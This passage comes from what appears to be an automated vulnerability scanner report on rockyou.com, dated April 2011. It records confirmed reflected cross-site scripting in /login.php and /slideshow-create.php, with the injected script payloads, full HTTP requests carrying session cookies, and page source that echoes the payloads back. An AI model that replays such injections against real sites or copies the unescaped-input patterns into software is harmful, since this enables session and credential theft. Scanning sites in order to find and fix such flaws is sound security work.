imgs += "<a href='"+img_src+"' rel='lightbox[show]'><img src='"+img_src+"' class='"+thumbClass+"' title=\""+img_cap+"\"></a><br><img src='/images/icons/mobilephone.gif' style='margin-top:8px;margin-left:7px;cursor:pointer;float:left' onclick=\"ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-mobile&value=showmygallery',null,null); window.open('http://photofun.funmo.com/rockyou/photos/new?orig_url="+escape(img_src)+"','tomobile','width=776,height=585,status=no,toolbar=no,menubar=no,scrollbars=no,resizable=yes,location=no,directories=no,status=no');return false;\">";
imgs += img_link+"</div>";
}
document.getElementById("photothumbs").innerHTML = imgs;
initLightbox();
actionJump();
}
else
{
notXML = true;
}
}
else
{
notXML = true;
}

if (notXML)
{
eval ("var resp = "+self.xmlHttpReq.responseText);
if (resp['mode']=='vote')
{
//set new Rating and Votes
document.getElementById('current-rating').style.width=30*resp['data'][0];

document.getElementById('current-vote').innerHTML=resp['data'][1]+' Votes';
}
}

}
}
self.xmlHttpReq.send(type+"="+escape(data));
}

function URLDecode(psEncodeString)
{
var lsRegExp = /\+/g;
return unescape(String(psEncodeString).replace(lsRegExp, " "));
}

function setStartSlide(slide)
{
document.getElementById('flashsrc').innerHTML='<embed src="http://apps.rockyou.com/rockyou.swf?instanceid=&amp;#039;+netsparker(9)+&amp;#039;&startSlide='+slide+'" quality="high" wmode="transparent" width="426" height="320" flashvars="appWidth=325&appHeight=244" name="slideshowpreview" align="middle" allowScriptAccess="sameDomain" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer"/>';
}

function initPage()
{
xmlhttpPostURL("1",'',"xmlproxy.php");
}

if (window.addEventListener) {
window.addEventListener('load',initPage,false);
}
else window.attachEvent('onload',initPage);

function actionJump()
{
}

function rate_vote(vote)
{
xmlhttpPostURL("vote",vote,"show_my_gallery-ajax.php");
//alert(vote);
}

function rate_display(vote)
{
var note = "";
switch (vote)
{
case 1:
note = "Total Junk";
break;
case 2:
note = "Kinda Lame";
break;
case 3:
note = "Its OK";
break;
case 4:
note = "Pretty Good";
break;
case 5:
note = "Way Hot";
break;
}
document.getElementById('ratingtitle').innerHTML=note;
}
function rate_displayout()
{
document.getElementById('ratingtitle').innerHTML = "Rate Me!";
}
</script>


<div id="container" style='width:1125px;margin:auto;padding-top:15px'>
<div style="float:left;width:800px">
<table id="photothumbscontainer" style="margin-bottom:15px;" cellpadding="0" cellspacing="0" ><tr>
<td><img src="/images/thumbnailsLeft.gif" onclick="thumbnailStart-=calcThumbnailsCount();updateThumbnails()" style="cursor:pointer" /></td>
<td id="photothumbs" style="width:800px; height:94px; background:#300018; padding: 2px 0; font-size:10px; vertical-align:bottom">&nbsp;</td>
<td><img src="/images/thumbnailsRight.gif" onclick="thumbnailStart+=calcThumbnailsCount();updateThumbnails()" style="cursor:pointer" /></td>
</tr></table>
<div id="contentwrapper" style="float:left" >
<div id="contentcolumn" style="width:500px" align="center">



<div align="left" style="width:500px">
<div style="width:425px;margin:0 auto;border:2px solid red;background:red;text-align:center;color:white">PRIVATE SLIDESHOW</div> <div id="slideshow-container" style="width:450px; height:300px; margin:0px auto 20px; border: 1px solid #a80050">
<div id='flashsrc'>
<table cellpadding="0" cellspacing="0" border="0">
<tr valign="top">
<td><div id="embeddiv"></div></td>
<td>
<div style="width:100px;height:100px;position:absolute;">
<!--script type="text/javascript">var likeParams = ['01078cba91618ea1','drawerbutton'];</script><script type="text/javascript" src="http://partner.like.com/likesense/rockyou.js"></script-->
</div>
</td>
</tr>
</table>
</div>

</div>


<style>
#photothumbs a:link {color:#ffffff;}
</style>

<table style="margin: 0 auto; clear:both" width="450px"><tr>
<script>
function showPagelet(p) {
document.getElementById('sharePagelet').style.display='none';
document.getElementById('ratePagelet').style.display='none';
document.getElementById(p).style.display='';
}
</script>
<td><a href="#" onclick="ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-share&value=showmygallery',null,null); showPagelet('sharePagelet'); return false;">SHARE</a></td>
<td><a href="#" onclick="showPagelet('ratePagelet'); return false;">RATE</a></td>
<td><a href="http://www.rockyou.com/events/track.php?event=rockyou-makeaslideshow&value=showmygallery&url=http%3A%2F%2Fwww.rockyou.com%2Fviewpage_clickthrough.php%3Fwidget%3Dslideshow%26instanceid%3D%26amp%3B%23039%3B%2Bnetsparker%289%29%2B%26amp%3B%23039%3B">MAKE A SLIDESHOW</a></td>
<td><a href="http://www.rockyou.com/events/track.php?event=rockyou-addtofavorites&value=showmygallery&url=http%3A%2F%2Fwww.rockyou.com%2Faddfavorite.php%3Finstanceid%3D%26amp%3B%23039%3B%2Bnetsparker%289%29%2B%26amp%3B%23039%3B">ADD TO FAVORITES</a></td>
<td><a href="http://www.rockyou.com/events/track.php?event=rockyou-report&value=showmygallery&url=http%3A%2F%2Fwww.rockyou.com%2Fsetinappropriate.php%3Finstanceid%3D%26amp%3B%23039%3B%2Bnetsparker%289%29%2B%26amp%3B%23039%3B">REPORT</a></td>
</tr></table>

<div id="ajaxarea" style="width:450px; height:100px; background: #f51768; margin: 10px auto" >
<div id="sharePagelet" style="padding: 10..
- /login.php

/login.php CONFIRMED

http://www.rockyou.com/login.php?lang=en

Parameters

Parameter Type Value
lang GET en
pass POST '"--></style></script><script>alert(0x000E34)</script>
user POST 3
mode POST create
source POST 3
flixster POST 3
toscheck POST 1
birthyear POST 3
sex POST 3
country POST 0
postalcode POST 3

Request

POST /login.php?lang=en HTTP/1.1
Referer: http://www.rockyou.com/login.php?lang=en
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.rockyou.com
Cookie: PHPSESSID=j1le0nb5c52v0lohlmb2bhb1l3; lang=en; lastlogin=1303164568; ctid=2; sns_type=rockyou.com; istack=%7C%7C%7Cwww202.rockyou.com%7C%7C158776805%7Cwww202.rockyou.com%7C%7C158776806%7Cwww202.rockyou.com%7C%7C158776807%7Cwww202.rockyou.com%7C%7C%7Cwww202.rockyou.com; referralid=13193054; pubtype=facebook; ultype=facebook
Content-Length: 181
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

pass='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x000E34)%3c%2fscript%3e&user=3&mode=create&source=3&flixster=3&toscheck=1&birthyear=3&sex=3&country=0&postalcode=3

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 22:09:28 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 22:09:27 GMT; path=/; domain=.rockyou.com,lastlogin=1303164568; expires=Wed, 27-Jul-2011 22:09:28 GMT; path=/; domain=.rockyou.com,sns_type=rockyou.com; expires=Mon, 25-Apr-2011 22:09:28 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
Content-Encoding:
X-RyHeader: www202.rockyou.com took D=89808 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 9055
Connection: close
Content-Type: text/html; charset=UTF-8


<script>
function positionAdDiv(centerDivID, adDivID, side) {
var centerDiv = document.getElementById(centerDivID);
var adDiv = document.getElementById(adDivID);
// Get absolute positioning of
var leftside = topside = 0;
var elem = centerDiv;
if (elem.offsetParent)
do {
leftside += elem.offsetLeft;
topside += elem.offsetTop;
}
while(elem = elem.offsetParent);
adDiv.style.top = topside + 'px';
// If the left side of the ad div is left of the left side of the center div, it should be on the left
if (side == 'left') adDiv.style.left = leftside - adDiv.offsetWidth +'px';
else adDiv.style.left = leftside + centerDiv.offsetWidth +'px';
}
</script>


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><HTML><HEAD> <link href="/css/standard.css" rel="stylesheet" type="text/css"><script src="/js/standard.js" type="text/javascript"></script><link href="/css/simple_bling3.css" rel="stylesheet" type="text/css"><link href="/css/center_footer.css" rel="stylesheet" type="text/css"><link href="/css/style.css" rel="stylesheet" type="text/css"> <link href="/css/bling3_header.css" rel="stylesheet" type="text/css"> <TITLE>RockYou.com - Photo sharing, MySpace slideshows, MySpace codes, MySpace music</TITLE> <link rel="icon" type="image/ico" href="/favicon.ico" /> </HEAD><BODY ><div style="text-align:center"> <div class="nav-bar"></div> <div class="nav-main"> <div class="nav-spacer" style="background:none;margin-right:25px;float:right"><a href="http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-help&value=mainlogin&url=http%3A%2F%2Fwww.rockyou.com%2Fhelp">Help</a></div> <div style="clear:both; position:relative;text-align:left;"> <div style="cursor:pointer; position:absolute;" onclick="window.location='http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-frontpage&value=mainlogin&url=http%3A%2F%2Fwww.rockyou.com'" class="png-logo" style='filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src="https://rockyou.com/contents/fullbling3_header/ry_logo28.png");'> <img src="https://rockyou.com/contents/fullbling3_header/ry_logo28.png" class="transparent"/> </div> </div> </div> <br><div id="topDiv" style="margin:auto;width:720px;text-align:center">
<!-- Ad call for Ad call for http://rocku.adbureau.net/hserver/area=NONE/aamsz=LEADERBOARD/ -->
<script language="javascript">
if (!pageNum) var pageNum = Math.round(Math.random() * 1000000);
var aamRnd = Math.round(Math.random() * 10000000000);

document.writeln('<iframe src="http://rocku.adbureau.net/hserver/acc_random=' +
aamRnd + '/pageid=' + pageNum + '/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/" ' +

'width="728" height="90" marginwidth="0" marginheight="0" ' +
'frameborder="0" scrolling="no"></iframe>');
</script>
<noscript>
<a href="http://rocku.adbureau.net/adclick/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/pageid=1" target="_blank">
<img src="http://rocku.adbureau.net/nserver/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/pageid=1" border="0" />
</a>
</noscript>
</div><br>
<table width="600" cellpadding="25" style="margin: auto; border: 1px #999999 solid; background: #DFDFDF"><tr><td align="center">
<script type="text/javascript" language="javascript" src="http://cdn.rockyou.com/apps/mainsite/js/ajax.js"></script><script type="text/javascript" language="javascript" src="/js/country.js?ver=1"></script><script type="text/javascript" language="javascript">function getuser(status, userEmail){ accountstatus = status; if (accountstatus > 1) //Account Exists { document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display="none"; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display=""; setError(""); document.getElementById('loginforma').pass.focus(); } else if (accountstatus == -1) // No Account { var start = userEmail.indexOf('@')+1; var emailType = userEmail.substr(start, userEmail.indexOf('.') - start); if (emailType == 'myspace') { document.getElementById("emailforma").reset(); document.getElementById("msg").innerHTML = 'Sorry, myspace.com emails are not valid.<br>Please choose another.'; return 1; } else if (emailName = isVerifiableEmail(emailType)) { var lcArray = document.getElementsByName('emailname-container'); for (i in lcArray) { lcArray[i].innerHTML = emailName; } document.getElementById('email-container').innerHTML = userEmail; document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display="none"; document.getElementById("createform2").style.display=""; document.getElementById("loginform").style.display="none"; setError(''); document.getElementById("createform2a").useEmailPassword.value = emailType;// show superpets login hint } else { document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display=""; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display="none"; setError(""); document.getElementById('createforma').pass.focus();// show superpets login hint } } else { if (status == "Invalid Email Format! (joe@somebody.com)") status = "Invalid Email Format! (joe@somebody.com)"; document.getElementById("msg").innerHTML = status; } return 1;}// Check if the new email is one that can be verified by 3rd party scripts. If so, return the name to be displayed.function isVerifiableEmail(emailType) { switch(emailType) { case 'gmail': return 'Gmail'; case 'yahoo': return 'Yahoo'; case 'aol': return 'AOL'; case 'msn': return 'MSN'; case 'hotmail': return 'Hotmail'; default: return false; }}// resetform is only called by back buttonsfunction resetform() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-back&value=mainlogin',null,null); document.getElementById("emailform").style.display=""; document.getElementById("createform").style.display="none"; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display="none"; setError(""); //document.getElementById('emailforma').pass.focus();// show superpets login hint return false;}function setError(error) { document.getElementById("msg").innerHTML = error;}// checkuser is called on sending of email addressfunction checkuser(user){ ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-checkuid&value=mainlogin',null,null); if(user=="") { setError("Entry was Empty!"); return ; } var strURL="/checkuser.php"; var xmlHttpReq = false; var self = this; var userEmail = user; setError("Processing"); // Mozilla/Safari if (window.XMLHttpRequest) { self.xmlHttpReq = new XMLHttpRequest(); } // IE else if (window.ActiveXObject) { self.xmlHttpReq = new ActiveXObject("Microsoft.XMLHTTP"); } self.xmlHttpReq.open('POST', strURL, true); self.xmlHttpReq.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; Charset=utf-8"); self.xmlHttpReq.onreadystatechange = function() { if (self.xmlHttpReq.readyState == 4) { getuser(self.xmlHttpReq.responseText, userEmail); } } self.xmlHttpReq.send("user="+escape(user));}function updatepage(str){ document.getElementById("stat").innerHTML = str;}var isNN = (navigator.appName.indexOf("Netscape")!=-1);function autoTab(input,len, e) { var keyCode = (isNN) ? e.which : e.keyCode; var filter = (isNN) ? [0,8,9] : [0,8,9,16,17,18,37,38,39,40,46]; if(input.value.length >= len && !containsElement(filter,keyCode)) { input.value = input.value.slice(0, len); input.form[(getIndex(input)+1) % input.form.length].focus(); } function containsElement(arr, ele) { var found = false, index = 0; while(!found && index < arr.length) if(arr[index] == ele) found = true; else index++; return found; } function getIndex(input) { var index = -1, i = 0, found = false; while (i < input.form.length && index == -1) if (input.form[i] == input)index = i; else i++; return index; } return true;}function finishLoginNew() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-new&value=mainlogin',null,null); document.getElementById('createforma').user.value = document.getElementById('emailforma').user.value;}function finishLoginNewVerified() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-new-verified&value=mainlogin',null,null); document.getElementById('createform2a').user.value = document.getElementById('emailforma').user.value;}function finishLogin() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-pass&value=mainlogin',null,null); document.getElementById('loginforma').user.value = document.getElementById('emailforma').user.value;}function use_rockyou_pass() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-torypass&value=mainlogin',null,null); document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display=""; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display="none"; setError(""); document.getElementById('createforma').pass.focus();}</script><table border="0" cellpadding="0" cellspacing="0"><tr><td><img src="/images/back-uploadtop.gif" /></td></tr><tr><td background="/images/back-uploadtile.gif" style="padding-left:10px"><font class="bigorange">Login </font><font class="bigblack">or Create an Account</font><br><br><div id="emailform" style="display:none"><form name="emailforma" id="emailforma" onSubmit="checkuser(this.user.value);return false;"><span>Email address</span><input type="text" name="user" id="emailinput" value="3"><br /><input id="submitbutton" type="submit" value="Create / Login"></form></div><div id="createform" style="display:block"><form name="createforma" id="createforma" method="post" action="" onsubmit="finishLoginNew();">Enter password to register.<br /><span>Password</span><input type="password" name="pass" id="pass" value="\'\"--></style></script><script>netsparker(0x000E34)</script>"><br /><input type="hidden" name="user" id="user" value="3"><input type="hidden" name="mode" value="create"><input type="hidden" name="source" value=""><input type="hidden" name="flixster" ><input type="checkbox" name="toscheck" id="toscheck" checked='checked' value="1"><span>I agree to the <a href="/tos.php" target="_blank">Terms of Service.</a></span><br /><div style="margin-top:5px;margin-bottom:5px;background-color:#d6e1fc;border:1px solid #a5bcfb;position:relative;width:305px"> <div style="padding:5px 5px 0px 5px;"> <div style="float:left;display:inline;margin-right:5px;margin-bottom:5px;">Birth Year <select name="birthyear"><option value=""></option><option value="1998">1998</option><option value="1997">1997</option><option value="1996">1996</option><option value="1995">1995</option><option value="1994">1994</option><option value="1993">1993</option><option value="1992">1992</option><option value="1991">1991</option><option value="1990">1990</option><option value="1989">1989</option><option value="1988">1988</option><option value="1987">1987</option><option value="1986">1986</option><option value="1985">1985</option><option value="1984">1984</option><option value="1983">1983</option><option value="1982">1982</option><option value="1981">1981</option><option value="1980">1980</option><option value="1979">1979</option><option value="1978">1978</option><option value="1977">1977</option><option value="1976">1976</option><option value="1975">1975</option><option value="1974">1974</option><option value="1973">1973</option><option value="1972">1972</option><option value="1971">1971</option><option value="1970">1970</option><option value="1969">1969</option><option value="1968">1968</option><option value="1967">1967</option><option value="1966">1966</option><option value="1965">1965</option><option value="1964">1964</option><option value="1963">1963</option><option value="1962">1962</option><option value="1961">1961</option><option value="1960">1960</option><option value="1959">1959</option><option value="1958">1958</option><option value="1957">1957</option><option value="1956">1956</option><option value="1955">1955</option><option value="1954">1954</option><option value="1953">1953</option><option value="1952">1952</option><option value="1951">1951</option><option value="1950">1950</option><option value="1949">1949</option><option value="1948">1948</option><option value="1947">1947</option><option value="1946">1946</option><option value="1945">1945</option><option value="1944">1944</option><option value="1943">1943</option><option value="1942">1942</option><option value="1941">1941</option><option value="1940">1940</option><option value="1939">1939</option><option value="1938">1938</option><option value="1937">1937</option><option value="1936">1936</option><option value="1935">1935</option><option value="1934">1934</option><option value="1933">1933</option><option value="1932">1932</option><option value="1931">1931</option><option value="1930">1930</option><option value="1929">1929</option><option value="1928">1928</option><option value="1927">1927</option><option value="1926">1926</option><option value="1925">1925</option><option value="1924">1924</option><option value="1923">1923</option><option value="1922">1922</option><option value="1921">1921</option><option value="1920">1920</option><option value="1919">1919</option><option value="1918">1918</option><option value="1917">1917</option><option value="1916">1916</option><option value="1915">1915</option><option value="1914">1914</option><option value="1913">1913</option><option value="1912">1912</option><o..
- /slideshow-create.php

/slideshow-create.php CONFIRMED

http://www.rockyou.com/slideshow-create.php?'"--></style></script><script>alert(0x000E47)</script>

Parameters

Parameter Type Value
refid GET
Query Based QUERYSTRING '"--></style></script><script>alert(0x000E47)</script>

Request

GET /slideshow-create.php?'"--></style></script><script>netsparker(0x000E47)</script> HTTP/1.1
Referer: http://www.rockyou.com/help/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.rockyou.com
Cookie: PHPSESSID=j1le0nb5c52v0lohlmb2bhb1l3; lang=en; lastlogin=1303164579; ctid=2; sns_type=rockyou.com; istack=%7C%7C%7Cwww202.rockyou.com%7C%7C158776805%7Cwww202.rockyou.com%7C%7C158776806%7Cwww202.rockyou.com%7C%7C158776807%7Cwww202.rockyou.com%7C%7C%7Cwww202.rockyou.com; referralid=13193054; pubtype=facebook; ultype=facebook
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 22:09:40 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 22:09:39 GMT; path=/; domain=.rockyou.com,lastlogin=1303164580; expires=Wed, 27-Jul-2011 22:09:40 GMT; path=/; domain=.rockyou.com,sns_type=rockyou.com; expires=Mon, 25-Apr-2011 22:09:40 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
Content-Encoding:
X-RyHeader: www202.rockyou.com took D=26673 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 26870
Connection: close
Content-Type: text/html; charset=UTF-8


<HTML>
<HEAD>
<TITLE>RockYou.com - photo sharing, MySpace slideshows, MySpace codes, MySpace music</TITLE>
<script type="text/javascript">
<!--
function newImage(arg) {
if (document.images) {
rslt = new Image();
rslt.src = arg;
return rslt;
}
}

function changeImages() {
if (document.images && (preloadFlag == true)) {
for (var i=0; i<changeImages.arguments.length; i+=2) {
document[changeImages.arguments[i]].src = changeImages.arguments[i+1];
}
}
}

var preloadFlag = false;
function preloadImages() {
if (document.images) {
create_over = newImage("/images/create-over.png");
mystuff_over = newImage("/images/mystuff-over.png");
topshows_over = newImage("/images/topshows-over.png");
preloadFlag = true;
}
}

function Set_Cookie( name, value, expires)
{
var today = new Date();
today.setTime( today.getTime() );
if ( expires ) {
expires = expires * 1000 * 60 * 60 * 24;
}
var expires_date = new Date( today.getTime() + (expires) );

document.cookie = name + "=" +escape( value ) +
( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) +
";domain=.rockyou.com";
}


function Get_Cookie( name ) {
var start = document.cookie.indexOf( name + "=" );
var len = start + name.length + 1;
if ( ( !start ) && ( name != document.cookie.substring( 0, name.length ) ) ) {
return null;
}
if ( start == -1 ) return null;
var end = document.cookie.indexOf( ";", len );
if ( end == -1 ) end = document.cookie.length;
return unescape( document.cookie.substring( len, end ) );
}

function Delete_Cookie( name, path) {
if ( Get_Cookie( name ) ) document.cookie = name + "=;domain=.rockyou.com;expires=Thu, 01-Jan-1970 00:00:01 GMT";
}

function showHelp(name)
{
urchinTracker ('/help/'+name);
newwindow= window.open('/popuphelp.php?name='+name,'helppage','toolbar=no, status=no,height=500, width=300,scrollbars=1');
if (window.focus) newwindow.focus();
}

function toggle_frontpage_sound() {
var frontpage_music = document.getElementById("frontpage_music");
if (frontpage_music) frontpage_music.blur();
// Toggle text
var music_text_span = document.getElementById("music_text_span");
if (music_text_span)
music_text_span.innerHTML = (music_text_span.innerHTML == 'MUTE') ? 'LISTEN' : 'MUTE';
// Toggle speaker image
var speaker_button = document.getElementById("speaker_button");
if (speaker_button)
speaker_button.src = (speaker_button.src == "http://dev2.rockyou.com/images/bling3/speaker.png") ?
"http://dev2.rockyou.com/images/bling3/speaker-on.png" : "http://dev2.rockyou.com/images/bling3/speaker.png";
// Toggle sound
var showcase_slide_embed = document.getElementById("showcase_slide_embed");
if (showcase_slide_embed) {
if (showcase_slide_embed.innerHTML.indexOf('nosound=false') != -1) {
showcase_slide_embed.innerHTML = showcase_slide_embed.innerHTML.replace(/nosound=false/, 'nosound=true');
Set_Cookie('frontpage_music_disabled', '1', 1);
}
else {
showcase_slide_embed.innerHTML = showcase_slide_embed.innerHTML.replace(/nosound=true/, 'nosound=false');
Set_Cookie('frontpage_music_disabled', '0', 1);
}
}
}

function toggle_frontpage_music_icon() {
var frontpage_music = document.getElementById("frontpage_music");
var slide_container = document.getElementById("showcase_slide_embed");
if (frontpage_music) {
if (frontpage_music.innerHTML.indexOf("turn-on") >= 0) {
frontpage_music.innerHTML = frontpage_music.innerHTML.replace(/turn-on/, 'turn-off')
if (slide_container) {
var front_embed = slide_container.innerHTML;
slide_container.innerHTML = front_embed.replace(/nosound=true/, 'nosound=false');
}
Set_Cookie('frontpage_music_disabled', '0', 1);

} else {
frontpage_music.innerHTML = frontpage_music.innerHTML.replace(/turn-off/, 'turn-on')
if (slide_container) {
var front_embed = slide_container.innerHTML;
slide_container.innerHTML = front_embed.replace(/nosound=false/, 'nosound=true');
}
Set_Cookie('frontpage_music_disabled', '1', 1);
}
}
frontpage_music.blur();
}

function toggle_frontpage_music_text() {
var frontpage_music = document.getElementById("frontpage_music");
var slide_container = document.getElementById("slide-container");
if (frontpage_music) {
if (frontpage_music.innerHTML == "turn music on") {
frontpage_music.innerHTML = "turn music off";
if (slide_container) {
var front_embed = slide_container.innerHTML;
if (front_embed.indexOf("nosound=") > 0) {
slide_container.innerHTML = front_embed.replace(/nosound=true/, 'nosound=false');
} else {
slide_container.innerHTML = front_embed.replace(/<embed /, '<embed FlashVars="nosound=false" ');
}
}
Set_Cookie('frontpage_music_disabled', '0', 1);

} else {
frontpage_music.innerHTML = "turn music on";
if (slide_container) {
var front_embed = slide_container.innerHTML;
if (front_embed.indexOf("nosound=") > 0) {
slide_container.innerHTML = front_embed.replace(/nosound=false/, 'nosound=true');
} else {
slide_container.innerHTML = front_embed.replace(/<embed /, '<embed FlashVars="nosound=true" ');
}
}
Set_Cookie('frontpage_music_disabled', '1', 1);
}
}
}
// -->
</script>


<script src="create-slideshow-js-combined.php?ver=2" type="text/javascript"></script><script src="/js/greybox/jquery-latest.js" type="text/javascript"></script><script src="/js/greybox/greybox.js?2" type="text/javascript"></script><script src="/js/common.js" type="text/javascript"></script><link href="http://cdn.rockyou.com/apps/mainsite/css/style.css" rel="stylesheet" type="text/css">
<link href="/css/create-slideshow-combined.css?ver=6" rel="stylesheet" type="text/css"><link href="/css/../js/greybox/greybox.css?ver=6" rel="stylesheet" type="text/css">
</HEAD>




<BODY class="background_normal"
style=""

LEFTMARGIN=0 TOPMARGIN=0 MARGINWIDTH=0 MARGINHEIGHT=0
onload="initDND();"
onunload=""
>


<!-- Comscore tracking. Comscore tracks every time a resource on rockyou is loaded with these params. -->
<img src="http://apps.rockyou.com/dot.gif?CXNID=1000017.0NXC">

<!-- TF 728x90 JScript NoAD code -->
<div style="height:5px;padding:0px;margin:0px;overflow:hidden"></div>

<script language="javascript" type="text/javascript" src="/js/flash_file_uploader.js"></script><script language="javascript" type="text/javascript" src="/js/iuembed.js"></script><script type="text/javascript">// Suppress multifile uploadervar suppressMulti = false;// variable needed for grey box modal dialog for the 'More Songs' linkvar GB_ANIMATION = true; // we have a variable in create.js that needs to know about the right translation for a text.var lang_upload_confirm_delete_slide = "Do you really want to delete this slide?";var lang_slideshow_aspect_43_only = "Only 4:3 Available";var lang_slideshow_aspect_43 = "TV (4:3)";var lang_slideshow_aspect_21 = "Wide (2:1)";var lang_slideshow_aspect_31 = "Strip (3:1)";var lang_empty_caption = "[Click to Add a Caption]";var lang_remove_all_captions = "Are you sure you want to remove all captions?";var lang_abandon_slideshow = "Abandon this slideshow and START OVER?";var evalThis;var thisinstanceid = '';var tagListArray; var xmlreqs = true; //Disable / enable xmlrequestsvar xmlBatchReq = ""; //Batch Stringvar playingSong = 0; //Current Song that is playingvar storedSongList = ""; //List of Songs responde from AJAXvar statusAddingSong = false;var mycustomtabs = new Array("cattags","transitions","themes","skins","backgrounds", "music","privacy","size","caption","min");var openWithCreateMode = 0;var sizeLevel = 3;var pitchLearnMoreBeboBands = 1; var slideCount = 0;var beforeUnloadStatus = 0;var beforeUnloadStatusEnabled = 1;var bgColorManualSet = 0;var ghost_popup = new Ghost_Popup('ghost_popup');var ghost_popup_music = new Ghost_Popup('ghost_popup_music');var source = "";var currentSkin = '';var currentTransition = '';var currentBackground = '';var currentTheme = '';var currentRatio = 0;var skinConfig = 1;var removePreviewSlide = 0;var slideShowCount="0";//var slideShowCount="0";embed = new appEmbed(thisinstanceid);membed = new musicEmbed(thisinstanceid);embed.setLocal(true);embed.noSound=true;embed.noShare=true;function confirmAbandon() { if (openWithCreateMode == 1 && slideCount > 0 && beforeUnloadStatus == 1) { event.returnValue = "If you continue, this slideshow will be abandoned!"; } beforeUnloadStatus = beforeUnloadStatusEnabled;}function initDND() { document.getElementById('loadingsection_container').className = 'background_normal'; // for partner sites, switch to smaller logo var partner_logo_big = document.getElementById("partner_logo_big"); var partner_logo_small = document.getElementById("partner_logo_small"); if (partner_logo_big) partner_logo_big.style.display = "none"; if (partner_logo_small) partner_logo_small.style.display = "block"; var rockyou_logo = document.getElementById("logo"); if (rockyou_logo) rockyou_logo.style.display = "block"; setupFileUploader(); printCountrySelect(document.getElementById("countryselect")); document.getElementById('loadingsection').innerHTML = ''; document.getElementById('loadingsection').style.display = 'none'; document.getElementById('ticker_area').style.display=""; document.getElementById('upload-and-customize').style.display=""; var bannerheading = document.getElementById('bannerheading'); if (bannerheading) bannerheading.style.display=""; initSectionsNew();}function initSectionsNew(){ supermaxUL(); //document.getElementById('toptab-container').style.display=""; document.getElementById('uploadsection').style.display=""; showUploadDiv(); hasInstanceIDEmbed(); simple_ajax_call('email/ajax_email_tracking.php?message=3&widget=slideshow&instanceid=0', false); openWithCreateMode = 1; document.getElementById("bebo_bubble").style.display = "block";}function initSections(){ if (openWithCreateMode == 1) { // randomize transition updateTransition("photostack2"); } document.getElementById('arrange-and-caption').style.display=""; document.getElementById('quickstyles').style.display=""; document.getElementById('div-upload').style.display=""; document.getElementById('tab-customize').style.display=""; document.getElementById('div-arrange').style.display=""; embed.isScale = false;currentSkin = ''; currentTransition = 'photostack'; currentRatio = 1; skinConfig = 1; currentTheme = ''; currentBackground = ''; setAspectRatioControls(); setBackgroundControls(); setSkinControls(); setSizeControls(); showCookieUploadTab(); showCustomizeDiv(); regUL(); refreshSlideShow(); refreshMusic(0); //Tags tagListArray = []; tagList(tagListArray); setPeopleMap('','','',''); //Songs songListArray = []; songList(songListArray); if (openWithCreateMode == 1) { simple_ajax_call('email/ajax_email_tracking.php?message=4&widget=slideshow&instanceid='+thisinstanceid, false); Set_Cookie('last_created_slideshow', thisinstanceid, 1); } else { if (thisinstanceid != parseInt(Get_Cookie('last_created_slideshow'))) { Set_Cookie('last_created_slideshow', 0, 1); } } // change the instruction var multi_uploader_instruction = document.getElementById("multi_uploader_instruction"); if (multi_uploader_instruction) { multi_uploader_instruction.innerHTML = '<p style="font-size:16px;font-weight:bold;margin-bottom:10px;">Next steps</p>' + '<ul style="font-size:13px;margin-left:10px;">' + '<li>Add more slides</li>' + '<li>To edit captions, scroll down</li>' + '<li>To move and delete slides, scroll down</li>' + '<li>Try the customization options to the right</li>' + '<li>Click Save when you\'re done</li>' + '</ul>' + '<p style="font-size:15px;margin-top:15px;">If you\'re having trouble uploading, <a target="_blank" href="/contact.php" style="text-decoration:underline">let us know</a>.</p>'; } setDefaultPublishSize(3); if (Get_Cookie('bubble_html_file_upload_edit_hide') == null) { if (document.getElementById("html_file_upload_instruction_container2")) { document.getElementById("html_file_upload_instruction_container2").className = 'html_file_uploader_bottom'; } 